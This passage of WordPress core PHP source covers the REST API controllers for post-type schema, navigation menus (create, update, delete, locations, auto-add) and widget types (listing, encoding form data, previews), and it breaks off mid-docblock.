					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'name'           => array(
					'description' => __( 'The title for the post type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'slug'           => array(
					'description' => __( 'An alphanumeric identifier for the post type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'supports'       => array(
					'description' => __( 'All features, supported by the post type.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'has_archive'    => array(
					'description' => __( 'If the value is a string, the value will be used as the archive slug. If the value is false the post type has no archive.' ),
					'type'        => array( 'string', 'boolean' ),
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'taxonomies'     => array(
					'description' => __( 'Taxonomies associated with post type.' ),
					'type'        => 'array',
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'rest_base'      => array(
					'description' => __( 'REST base route for the post type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'rest_namespace' => array(
					'description' => __( 'REST route\'s namespace for the post type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'visibility'     => array(
					'description' => __( 'The visibility settings for the post type.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
					'properties'  => array(
						'show_ui'           => array(
							'description' => __( 'Whether to generate a default UI for managing this post type.' ),
							'type'        => 'boolean',
						),
						'show_in_nav_menus' => array(
							'description' => __( 'Whether to make the post type available for selection in navigation menus.' ),
							'type'        => 'boolean',
						),
					),
				),
				'icon'           => array(
					'description' => __( 'The icon for the post type.' ),
					'type'        => array( 'string', 'null' ),
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}
}
<?php
/**
 * REST API: WP_REST_Menus_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.9.0
 */

/**
 * Core class used to managed menu terms associated via the REST API.
 *
 * @since 5.9.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Menus_Controller extends WP_REST_Terms_Controller {

	/**
	 * Checks if a request has access to read menus.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access, otherwise false or WP_Error object.
	 */
	public function get_items_permissions_check( $request ) {
		$has_permission = parent::get_items_permissions_check( $request );

		if ( true !== $has_permission ) {
			return $has_permission;
		}

		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Checks if a request has access to read or edit the specified menu.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {
		$has_permission = parent::get_item_permissions_check( $request );

		if ( true !== $has_permission ) {
			return $has_permission;
		}

		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Gets the term, if the ID is valid.
	 *
	 * @since 5.9.0
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Term|WP_Error Term object if ID is valid, WP_Error otherwise.
	 */
	protected function get_term( $id ) {
		$term = parent::get_term( $id );

		if ( is_wp_error( $term ) ) {
			return $term;
		}

		$nav_term           = wp_get_nav_menu_object( $term );
		$nav_term->auto_add = $this->get_menu_auto_add( $nav_term->term_id );

		return $nav_term;
	}

	/**
	 * Checks whether the current user has read permission for the endpoint.
	 *
	 * This allows for any user that can `edit_theme_options` or edit any REST API available post type.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the current user has permission, WP_Error object otherwise.
	 */
	protected function check_has_read_only_access( $request ) {
		if ( current_user_can( 'edit_theme_options' ) ) {
			return true;
		}

		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view',
			__( 'Sorry, you are not allowed to view menus.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Prepares a single term output for response.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Term         $term    Term object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $term, $request ) {
		$nav_menu = wp_get_nav_menu_object( $term );
		$response = parent::prepare_item_for_response( $nav_menu, $request );

		$fields = $this->get_fields_for_response( $request );
		$data   = $response->get_data();

		if ( rest_is_field_included( 'locations', $fields ) ) {
			$data['locations'] = $this->get_menu_locations( $nav_menu->term_id );
		}

		if ( rest_is_field_included( 'auto_add', $fields ) ) {
			$data['auto_add'] = $this->get_menu_auto_add( $nav_menu->term_id );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $term ) );
		}

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		return apply_filters( "rest_prepare_{$this->taxonomy}", $response, $term, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Term $term Term object.
	 * @return array Links for the given term.
	 */
	protected function prepare_links( $term ) {
		$links = parent::prepare_links( $term );

		$locations = $this->get_menu_locations( $term->term_id );
		foreach ( $locations as $location ) {
			$url = rest_url( sprintf( 'wp/v2/menu-locations/%s', $location ) );

			$links['https://api.w.org/menu-location'][] = array(
				'href'       => $url,
				'embeddable' => true,
			);
		}

		return $links;
	}

	/**
	 * Prepares a single term for create or update.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object Prepared term data.
	 */
	public function prepare_item_for_database( $request ) {
		$prepared_term = parent::prepare_item_for_database( $request );

		$schema = $this->get_item_schema();

		if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) {
			$prepared_term->{'menu-name'} = $request['name'];
		}

		return $prepared_term;
	}

	/**
	 * Creates a single term in a taxonomy.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( isset( $request['parent'] ) ) {
			if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
				return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) );
			}

			$parent = wp_get_nav_menu_object( (int) $request['parent'] );

			if ( ! $parent ) {
				return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) );
			}
		}

		$prepared_term = $this->prepare_item_for_database( $request );

		$term = wp_update_nav_menu_object( 0, wp_slash( (array) $prepared_term ) );

		if ( is_wp_error( $term ) ) {
			/*
			 * If we're going to inform the client that the term already exists,
			 * give them the identifier for future use.
			 */

			if ( in_array( 'menu_exists', $term->get_error_codes(), true ) ) {
				$existing_term = get_term_by( 'name', $prepared_term->{'menu-name'}, $this->taxonomy );
				$term->add_data( $existing_term->term_id, 'menu_exists' );
				$term->add_data(
					array(
						'status'  => 400,
						'term_id' => $existing_term->term_id,
					)
				);
			} else {
				$term->add_data( array( 'status' => 400 ) );
			}

			return $term;
		}

		$term = $this->get_term( $term );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_insert_{$this->taxonomy}", $term, $request, true );

		$schema = $this->get_item_schema();
		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$locations_update = $this->handle_locations( $term->term_id, $request );

		if ( is_wp_error( $locations_update ) ) {
			return $locations_update;
		}

		$this->handle_auto_add( $term->term_id, $request );

		$fields_update = $this->update_additional_fields_for_object( $term, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'view' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, true );

		$response = $this->prepare_item_for_response( $term, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( $this->namespace . '/' . $this->rest_base . '/' . $term->term_id ) );

		return $response;
	}

	/**
	 * Updates a single term from a taxonomy.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( isset( $request['parent'] ) ) {
			if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
				return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) );
			}

			$parent = get_term( (int) $request['parent'], $this->taxonomy );

			if ( ! $parent ) {
				return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) );
			}
		}

		$prepared_term = $this->prepare_item_for_database( $request );

		// Only update the term if we have something to update.
		if ( ! empty( $prepared_term ) ) {
			if ( ! isset( $prepared_term->{'menu-name'} ) ) {
				// wp_update_nav_menu_object() requires that the menu-name is always passed.
				$prepared_term->{'menu-name'} = $term->name;
			}

			$update = wp_update_nav_menu_object( $term->term_id, wp_slash( (array) $prepared_term ) );

			if ( is_wp_error( $update ) ) {
				return $update;
			}
		}

		$term = get_term( $term->term_id, $this->taxonomy );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_insert_{$this->taxonomy}", $term, $request, false );

		$schema = $this->get_item_schema();
		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$locations_update = $this->handle_locations( $term->term_id, $request );

		if ( is_wp_error( $locations_update ) ) {
			return $locations_update;
		}

		$this->handle_auto_add( $term->term_id, $request );

		$fields_update = $this->update_additional_fields_for_object( $term, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'view' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, false );

		$response = $this->prepare_item_for_response( $term, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Deletes a single term from a taxonomy.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		// We don't support trashing for terms.
		if ( ! $request['force'] ) {
			/* translators: %s: force=true */
			return new WP_Error( 'rest_trash_not_supported', sprintf( __( "Menus do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) );
		}

		$request->set_param( 'context', 'view' );

		$previous = $this->prepare_item_for_response( $term, $request );

		$result = wp_delete_nav_menu( $term );

		if ( ! $result || is_wp_error( $result ) ) {
			return new WP_Error( 'rest_cannot_delete', __( 'The menu cannot be deleted.' ), array( 'status' => 500 ) );
		}

		$response = new WP_REST_Response();
		$response->set_data(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_delete_{$this->taxonomy}", $term, $response, $request );

		return $response;
	}

	/**
	 * Returns the value of a menu's auto_add setting.
	 *
	 * @since 5.9.0
	 *
	 * @param int $menu_id The menu id to query.
	 * @return bool The value of auto_add.
	 */
	protected function get_menu_auto_add( $menu_id ) {
		$nav_menu_option = (array) get_option( 'nav_menu_options', array( 'auto_add' => array() ) );

		return in_array( $menu_id, $nav_menu_option['auto_add'], true );
	}

	/**
	 * Updates the menu's auto add from a REST request.
	 *
	 * @since 5.9.0
	 *
	 * @param int             $menu_id The menu id to update.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool True if the auto add setting was successfully updated.
	 */
	protected function handle_auto_add( $menu_id, $request ) {
		if ( ! isset( $request['auto_add'] ) ) {
			return true;
		}

		$nav_menu_option = (array) get_option( 'nav_menu_options', array( 'auto_add' => array() ) );

		if ( ! isset( $nav_menu_option['auto_add'] ) ) {
			$nav_menu_option['auto_add'] = array();
		}

		$auto_add = $request['auto_add'];

		$i = array_search( $menu_id, $nav_menu_option['auto_add'], true );

		if ( $auto_add && false === $i ) {
			$nav_menu_option['auto_add'][] = $menu_id;
		} elseif ( ! $auto_add && false !== $i ) {
			array_splice( $nav_menu_option['auto_add'], $i, 1 );
		}

		$update = update_option( 'nav_menu_options', $nav_menu_option );

		/** This action is documented in wp-includes/nav-menu.php */
		do_action( 'wp_update_nav_menu', $menu_id );

		return $update;
	}

	/**
	 * Returns the names of the locations assigned to the menu.
	 *
	 * @since 5.9.0
	 *
	 * @param int $menu_id The menu id.
	 * @return string[] The locations assigned to the menu.
	 */
	protected function get_menu_locations( $menu_id ) {
		$locations      = get_nav_menu_locations();
		$menu_locations = array();

		foreach ( $locations as $location => $assigned_menu_id ) {
			if ( $menu_id === $assigned_menu_id ) {
				$menu_locations[] = $location;
			}
		}

		return $menu_locations;
	}

	/**
	 * Updates the menu's locations from a REST request.
	 *
	 * @since 5.9.0
	 *
	 * @param int             $menu_id The menu id to update.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True on success, a WP_Error on an error updating any of the locations.
	 */
	protected function handle_locations( $menu_id, $request ) {
		if ( ! isset( $request['locations'] ) ) {
			return true;
		}

		$menu_locations = get_registered_nav_menus();
		$menu_locations = array_keys( $menu_locations );
		$new_locations  = array();
		foreach ( $request['locations'] as $location ) {
			if ( ! in_array( $location, $menu_locations, true ) ) {
				return new WP_Error(
					'rest_invalid_menu_location',
					__( 'Invalid menu location.' ),
					array(
						'status'   => 400,
						'location' => $location,
					)
				);
			}
			$new_locations[ $location ] = $menu_id;
		}
		$assigned_menu = get_nav_menu_locations();
		foreach ( $assigned_menu as $location => $term_id ) {
			if ( $term_id === $menu_id ) {
				unset( $assigned_menu[ $location ] );
			}
		}
		$new_assignments = array_merge( $assigned_menu, $new_locations );
		set_theme_mod( 'nav_menu_locations', $new_assignments );

		return true;
	}

	/**
	 * Retrieves the term's schema, conforming to JSON Schema.
	 *
	 * @since 5.9.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = parent::get_item_schema();
		unset( $schema['properties']['count'], $schema['properties']['link'], $schema['properties']['taxonomy'] );

		$schema['properties']['locations'] = array(
			'description' => __( 'The locations assigned to the menu.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
			'context'     => array( 'view', 'edit' ),
			'arg_options' => array(
				'validate_callback' => static function ( $locations, $request, $param ) {
					$valid = rest_validate_request_arg( $locations, $request, $param );

					if ( true !== $valid ) {
						return $valid;
					}

					$locations = rest_sanitize_request_arg( $locations, $request, $param );

					foreach ( $locations as $location ) {
						if ( ! array_key_exists( $location, get_registered_nav_menus() ) ) {
							return new WP_Error(
								'rest_invalid_menu_location',
								__( 'Invalid menu location.' ),
								array(
									'location' => $location,
								)
							);
						}
					}

					return true;
				},
			),
		);

		$schema['properties']['auto_add'] = array(
			'description' => __( 'Whether to automatically add top level pages to this menu.' ),
			'context'     => array( 'view', 'edit' ),
			'type'        => 'boolean',
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
<?php
/**
 * REST API: WP_REST_Widget_Types_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.8.0
 */

/**
 * Core class to access widget types via the REST API.
 *
 * @since 5.8.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Widget_Types_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 5.8.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'widget-types';
	}

	/**
	 * Registers the widget type routes.
	 *
	 * @since 5.8.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[a-zA-Z0-9_-]+)',
			array(
				'args'   => array(
					'id' => array(
						'description' => __( 'The widget type id.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[a-zA-Z0-9_-]+)/encode',
			array(
				'args' => array(
					'id'        => array(
						'description' => __( 'The widget type id.' ),
						'type'        => 'string',
						'required'    => true,
					),
					'instance'  => array(
						'description' => __( 'Current instance settings of the widget.' ),
						'type'        => 'object',
					),
					'form_data' => array(
						'description'       => __( 'Serialized widget form data to encode into instance settings.' ),
						'type'              => 'string',
						'sanitize_callback' => static function ( $form_data ) {
							$array = array();
							wp_parse_str( $form_data, $array );
							return $array;
						},
					),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'callback'            => array( $this, 'encode_form_data' ),
				),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[a-zA-Z0-9_-]+)/render',
			array(
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'callback'            => array( $this, 'render' ),
					'args'                => array(
						'id'       => array(
							'description' => __( 'The widget type id.' ),
							'type'        => 'string',
							'required'    => true,
						),
						'instance' => array(
							'description' => __( 'Current instance settings of the widget.' ),
							'type'        => 'object',
						),
					),
				),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read widget types.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		return $this->check_read_permission();
	}

	/**
	 * Retrieves the list of all widget types.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$data = array();
		foreach ( $this->get_widgets() as $widget ) {
			$widget_type = $this->prepare_item_for_response( $widget, $request );
			$data[]      = $this->prepare_response_for_collection( $widget_type );
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to read a widget type.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$check = $this->check_read_permission();
		if ( is_wp_error( $check ) ) {
			return $check;
		}
		$widget_id   = $request['id'];
		$widget_type = $this->get_widget( $widget_id );
		if ( is_wp_error( $widget_type ) ) {
			return $widget_type;
		}

		return true;
	}

	/**
	 * Checks whether the user can read widget types.
	 *
	 * @since 5.8.0
	 *
	 * @return true|WP_Error True if the widget type is visible, WP_Error otherwise.
	 */
	protected function check_read_permission() {
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_manage_widgets',
				__( 'Sorry, you are not allowed to manage widgets on this site.' ),
				array(
					'status' => rest_authorization_required_code(),
				)
			);
		}

		return true;
	}

	/**
	 * Gets the details about the requested widget.
	 *
	 * @since 5.8.0
	 *
	 * @param string $id The widget type id.
	 * @return array|WP_Error The array of widget data if the name is valid, WP_Error otherwise.
	 */
	public function get_widget( $id ) {
		foreach ( $this->get_widgets() as $widget ) {
			if ( $id === $widget['id'] ) {
				return $widget;
			}
		}

		return new WP_Error( 'rest_widget_type_invalid', __( 'Invalid widget type.' ), array( 'status' => 404 ) );
	}

	/**
	 * Normalize array of widgets.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 * @global array             $wp_registered_widgets The list of registered widgets.
	 *
	 * @return array Array of widgets.
	 */
	protected function get_widgets() {
		global $wp_widget_factory, $wp_registered_widgets;

		$widgets = array();

		foreach ( $wp_registered_widgets as $widget ) {
			$parsed_id     = wp_parse_widget_id( $widget['id'] );
			$widget_object = $wp_widget_factory->get_widget_object( $parsed_id['id_base'] );

			$widget['id']       = $parsed_id['id_base'];
			$widget['is_multi'] = (bool) $widget_object;

			if ( isset( $widget['name'] ) ) {
				$widget['name'] = html_entity_decode( $widget['name'], ENT_QUOTES, get_bloginfo( 'charset' ) );
			}

			if ( isset( $widget['description'] ) ) {
				$widget['description'] = html_entity_decode( $widget['description'], ENT_QUOTES, get_bloginfo( 'charset' ) );
			}

			unset( $widget['callback'] );

			$classname = '';
			foreach ( (array) $widget['classname'] as $cn ) {
				if ( is_string( $cn ) ) {
					$classname .= '_' . $cn;
				} elseif ( is_object( $cn ) ) {
					$classname .= '_' . get_class( $cn );
				}
			}
			$widget['classname'] = ltrim( $classname, '_' );

			$widgets[ $widget['id'] ] = $widget;
		}

		ksort( $widgets );

		return $widgets;
	}

	/**
	 * Retrieves a single widget type from the collection.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$widget_id   = $request['id'];
		$widget_type = $this->get_widget( $widget_id );
		if ( is_wp_error( $widget_type ) ) {
			return $widget_type;
		}
		$data = $this->prepare_item_for_response( $widget_type, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Prepares a widget type object for serialization.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Renamed `$widget_type` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param array           $item    Widget type data.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Widget type data.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$widget_type = $item;

		$fields = $this->get_fields_for_response( $request );
		$data   = array(
			'id' => $widget_type['id'],
		);

		$schema       = $this->get_item_schema();
		$extra_fields = array(
			'name',
			'description',
			'is_multi',
			'classname',
			'widget_class',
			'option_name',
			'customize_selective_refresh',
		);

		foreach ( $extra_fields as $extra_field ) {
			if ( ! rest_is_field_included( $extra_field, $fields ) ) {
				continue;
			}

			if ( isset( $widget_type[ $extra_field ] ) ) {
				$field = $widget_type[ $extra_field ];
			} elseif ( array_key_exists( 'default', $schema['properties'][ $extra_field ] ) ) {
				$field = $schema['properties'][ $extra_field ]['default'];
			} else {
				$field = '';
			}

			$data[ $extra_field ] = rest_sanitize_value_from_schema( $field, $schema['properties'][ $extra_field ] );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $widget_type ) );
		}

		/**
		 * Filters the REST API response for a widget type.
		 *
		 * @since 5.8.0
		 *
		 * @param WP_REST_Response $response    The response object.
		 * @param array            $widget_type The array of widget data.
		 * @param WP_REST_Request  $request     The request object.
		 */
		return apply_filters( 'rest_prepare_widget_type', $response, $widget_type, $request );
	}

	/**
	 * Prepares links for the widget type.
	 *
	 * @since 5.8.0
	 *
	 * @param array $widget_type Widget type data.
	 * @return array Links for the given widget type.
	 */
	protected function prepare_links( $widget_type ) {
		return array(
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'self'       => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $widget_type['id'] ) ),
			),
		);
	}

	/**
	 * Retrieves the widget type's schema, conforming to JSON Schema.
	 *
	 * @since 5.8.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'widget-type',
			'type'       => 'object',
			'properties' => array(
				'id'          => array(
					'description' => __( 'Unique slug identifying the widget type.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'name'        => array(
					'description' => __( 'Human-readable name identifying the widget type.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'description' => array(
					'description' => __( 'Description of the widget.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'is_multi'    => array(
					'description' => __( 'Whether the widget supports multiple instances' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'classname'   => array(
					'description' => __( 'Class name' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * An RPC-style endpoint which can be used by clients to turn user input in
	 * a widget admin form into an encoded instance object.
	 *
	 * Accepts:
	 *
	 * - id:        A widget type ID.
	 * - instance:  A widget's encoded instance object. Optional.
	 * - form_data: Form data from submitting a widget's admin form. Optional.
	 *
	 * Returns:
	 * - instance: The encoded instance object after updating the widget with
	 *             the given form data.
	 * - form:     The widget's admin form after updating the widget with the
	 *             given form data.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function encode_form_data( $request ) {
		global $wp_widget_factory;

		$id            = $request['id'];
		$widget_object = $wp_widget_factory->get_widget_object( $id );

		if ( ! $widget_object ) {
			return new WP_Error(
				'rest_invalid_widget',
				__( 'Cannot preview a widget that does not extend WP_Widget.' ),
				array( 'status' => 400 )
			);
		}

		/*
		 * Set the widget's number so that the id attributes in the HTML that we
		 * return are predictable.
		 */
		if ( isset( $request['number'] ) && is_numeric( $request['number'] ) ) {
			$widget_object->_set( (int) $request['number'] );
		} else {
			$widget_object->_set( -1 );
		}

		if ( isset( $request['instance']['encoded'], $request['instance']['hash'] ) ) {
			$serialized_instance = base64_decode( $request['instance']['encoded'] );
			if ( ! hash_equals( wp_hash( $serialized_instance ), $request['instance']['hash'] ) ) {
				return new WP_Error(
					'rest_invalid_widget',
					__( 'The provided instance is malformed.' ),
					array( 'status' => 400 )
				);
			}
			$instance = unserialize( $serialized_instance );
		} else {
			$instance = array();
		}

		if (
			isset( $request['form_data'][ "widget-$id" ] ) &&
			is_array( $request['form_data'][ "widget-$id" ] )
		) {
			$new_instance = array_values( $request['form_data'][ "widget-$id" ] )[0];
			$old_instance = $instance;

			$instance = $widget_object->update( $new_instance, $old_instance );

			/** This filter is documented in wp-includes/class-wp-widget.php */
			$instance = apply_filters(
				'widget_update_callback',
				$instance,
				$new_instance,
				$old_instance,
				$widget_object
			);
		}

		$serialized_instance = serialize( $instance );
		$widget_key          = $wp_widget_factory->get_widget_key( $id );

		$response = array(
			'form'     => trim(
				$this->get_widget_form(
					$widget_object,
					$instance
				)
			),
			'preview'  => trim(
				$this->get_widget_preview(
					$widget_key,
					$instance
				)
			),
			'instance' => array(
				'encoded' => base64_encode( $serialized_instance ),
				'hash'    => wp_hash( $serialized_instance ),
			),
		);

		if ( ! empty( $widget_object->widget_options['show_instance_in_rest'] ) ) {
			// Use new stdClass so that JSON result is {} and not [].
			$response['instance']['raw'] = empty( $instance ) ? new stdClass() : $instance;
		}

		return rest_ensure_response( $response );
	}

	/**
	 * Returns the output of WP_Widget::widget() when called with the provided
	 * instance. Used by encode_form_data() to preview a widget.

	 * @since 5.8.0
	 *
	 * @param string    $widget   The widget's PHP class name (see class-wp-widget.php).
	 * @param array     $instance Widget instance settings.
	 * @return string
	 */
	private function get_widget_preview( $widget, $instance ) {
		ob_start();
		the_widget( $widget, $instance );
		return ob_get_clean();
	}

	/**
	 * Returns the output of WP_Widget::form() when called with the provided
	 * instance. Used by encode_form_data() to preview a widget's form.
	 *
	 * @since 5.8.0
	 *
